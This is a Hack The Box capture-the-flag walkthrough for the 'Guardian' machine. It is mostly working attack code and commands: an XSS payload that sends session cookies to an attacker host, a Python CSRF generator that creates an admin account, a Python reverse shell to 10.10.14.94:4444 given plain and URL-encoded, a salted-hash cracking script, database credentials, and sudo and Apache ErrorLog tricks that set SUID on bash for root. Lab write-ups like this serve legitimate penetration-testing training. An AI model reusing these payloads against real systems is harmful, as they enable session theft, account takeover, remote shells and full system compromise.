Skip to content

Guardian — Hack The Box Walkthrough

Terminal window
nmap -sC -sV -Pn -vv 10.10.11.84 -oA scan

Pasted image 20250909151714

Terminal window
nano /etc/hosts/

Add guardian.htb and portal.guardian.htb to /etc/hosts.

Pasted image 20250909151753

Pasted image 20250909151913

Pasted image 20250909152057

Click Help on the public site to find the PDF file.

Pasted image 20250909152201

as you can see the below are the id of student Pasted image 20250909152501

as you can see the id here and login using the password from the pdf in portal.guardian.htb

Pasted image 20250909152555

The student dashboard shows one upcoming assignment.

Pasted image 20250909191444

here you can upload .xml file

Pasted image 20250909191559

A crafted Excel workbook can be used to steal a reviewer’s session cookie.

so for crafting the payload you can visit this link online

Screen Shot 2025-09-09 at 7.23.54 PM

<img src="x" onerror="fetch('http://10.10.14.94:8000/?c=' + document.cookie)">

Screen Shot 2025-09-09 at 7.27.06 PM

Note: there has to be a sheet2 beside the payload sheet otherwise it will not work.

Save the workbook as exploit.xlsx.

Pasted image 20250909193139 upload the file and start listening on the port you put.

Pasted image 20250909193233

and there you have it now go to Inspect on browser and replace the cookies

Pasted image 20250909193323

after replace refresh the page and you will be as sammy a teacher.

Pasted image 20250909193404

As Sammy, inspect the lecturer area for the notice feature.

Pasted image 20250909193439

so when i create notice down there

Pasted image 20250909193512

The notice feature lets a teacher send a link for admin review. Use it to deliver a CSRF form that creates a new admin account.

import requests
import re
# 1. Target URL to get CSRF token
token_url = "http://portal.guardian.htb/lecturer/notices/create.php"
# 2. Your session cookie (replace with a valid one for testing)
cookies = {
"PHPSESSID": "71jbfrc7ogkmiqrn4ovdj59kas"
}
# 3. Fetch the page
resp = requests.get(token_url, cookies=cookies)
html = resp.text
# 4. Extract CSRF token using regex
match = re.search(r'name="csrf_token" value="([a-f0-9]+)"', html)
if not match:
print("CSRF token not found!")
exit()
csrf_token = match.group(1)
print("CSRF token found:", csrf_token)
# 5. Generate malicious HTML with the token
csrf_html = f"""<!DOCTYPE html>
<html>
<body>
<form id="csrfForm" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="dollarboysushil" />
<input type="hidden" name="password" value="dollarboysushil" />
<input type="hidden" name="full_name" value="dollarboysushil" />
<input type="hidden" name="email" value="dbs@dollarboysushil.com" />
<input type="hidden" name="dob" value="2000-01-01" />
<input type="hidden" name="address" value="dollarboysushil" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="{csrf_token}"/>
</form>
<script>
setTimeout(() => {{
document.getElementById("csrfForm").submit();
console.log("Form submitted automatically!");
}}, 2000);
</script>
</body>
</html>"""
# 6. Save to a file
with open("csrf.html", "w") as f:
f.write(csrf_html)
print("csrf.html generated! Host it and send the link to the admin.")

replace the PHPSESSID with the one you get for for teacher.

Pasted image 20250909193929

Pasted image 20250909194043

after that start the server and send the csrf.html to admin.

Pasted image 20250909194210

after this log out and login as dollarboysushil:dollarboysushil as admin.

Pasted image 20250909194258

you got in as admin.

Pasted image 20250909194352

The admin panel exposes a parameter that can be used to achieve remote code execution.

but you will have to use PHP Chanin to get RCE

you can git clone the respository.

and craft the payload.

Pasted image 20250909194855

after use it to get RCE.

Pasted image 20250909195044

Pasted image 20250909195106

you go it.

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.94",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

change the IP to yours and the port you want.

URL encoded:

python3%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.10.14.94%22%2C4444%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bimport%20pty%3B%20pty.spawn%28%22bash%22%29%27

Pasted image 20250909195434

after that i got in as www-data.

Pasted image 20250909195716

The config.php file contains MySQL credentials.

Command:

Terminal window
mysql -u root -pGu4rd14n_un1_1s_th3_b3st guardiandb

Pasted image 20250909200012

Pasted image 20250909200200

there you go you got the username and password_hash.

My machine could not crack these with Hashcat because memory was limited, so I used Python to test candidates from a wordlist.

#!/usr/bin/env python3
import hashlib
import sys
salt = "8Sb)tM1vs1SS"
target_hashes = {
"c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250": None,
"8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e": None,
"c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2": None,
"694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6": None
}
print("Cracking 4 hashes with salt: 8Sb)tM1vs1SS")
print("Target hashes:", list(target_hashes.keys()))
with open('/usr/share/wordlists/rockyou.txt', 'r', errors='ignore') as f:
for i, password in enumerate(f):
password = password.strip()
# SHA256(password + salt)
test_hash = hashlib.sha256((password + salt).encode()).hexdigest()
if test_hash in target_hashes:
print(f"FOUND: Password '{password}' matches hash {test_hash}")
target_hashes[test_hash] = password
# Progress indicator
if i % 10000 == 0:
print(f"Tried {i} passwords...")
# Stop if all hashes are cracked
if all(target_hashes.values()):
break
print("\nResults:")
for hash_val, password in target_hashes.items():
if password:
print(f"{hash_val}:{salt} -> {password}")
else:
print(f"{hash_val}:{salt} -> NOT CRACKED")

Command:

Terminal window
chmod +x crack.py
python3 crack.py

Pasted image 20250909201834

The home directory contains four local user accounts.

Pasted image 20250909202008

so with the crack password i try to su jamil and put the password copperhouse56. I got jamil.

I got user.txt

Pasted image 20250909203703

Running sudo -l as jamil reveals a permitted utilities script.

Pasted image 20250909202152

Pasted image 20250909211139

the status.py is writeable

Command:

Terminal window
echo 'import os; os.system("/bin/bash")' >> /opt/scripts/utilities/utils/status.py

Then run:

Terminal window
sudo -u mark /opt/scripts/utilities/utilities.py system-status

them you will get as user mark.

Pasted image 20250909212937

Pasted image 20250909213921

As mark, create a custom Apache configuration file:

Terminal window
ErrorLog "|/bin/bash -c 'chmod +s /bin/bash'"

and run:

Terminal window
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

check:

Terminal window
ls -l /bin/bash

Pasted image 20250909214152

run:

Terminal window
/bin/bash -p

then you will get to root.

Pasted image 20250909214302